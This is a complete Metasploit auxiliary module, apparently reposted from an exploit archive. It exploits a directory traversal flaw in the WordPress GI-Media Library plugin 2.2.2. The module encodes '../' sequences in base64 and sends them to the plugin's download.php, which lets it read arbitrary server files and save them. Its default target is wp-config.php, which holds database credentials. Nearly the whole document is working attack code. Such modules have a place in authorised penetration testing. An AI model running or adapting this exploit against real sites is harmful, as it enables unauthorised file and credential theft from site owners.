WordPress GI-Media Library Plugin Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress GI-Media Library Plugin Directory Traversal Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in WordPress Plugin  
GI-Media Library version 2.2.2, allowing to read arbitrary files from the  
system with the web server privileges. This module has been tested successfully  
on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server.  
},  
'References' =>  
[  
['WPVDB', '7754'],  
['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24']  
],  
'Author' =>  
[  
'Unknown', # Vulnerability discovery - QuantiKa14?  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ])  
])  
end  
  
def check  
check_plugin_version_from_readme('gi-media-library', '3.0')  
end  
  
def run_host(ip)  
traversal = '../' * datastore['DEPTH']  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'),  
'vars_get' =>  
{  
'fileid' => Rex::Text.encode_base64(traversal + filename)  
}  
)  
  
if res && res.code == 200 && res.body && res.body.length > 0  
fname = datastore['FILEPATH']  
  
path = store_loot(  
'gimedia-library.file',  
'text/plain',  
ip,  
res.body,  
fname  
)  
  
print_good("File saved in: #{path}")  
else  
vprint_error("Nothing was downloaded. Check the path and the traversal parameters.")  
end  
end  
end  
`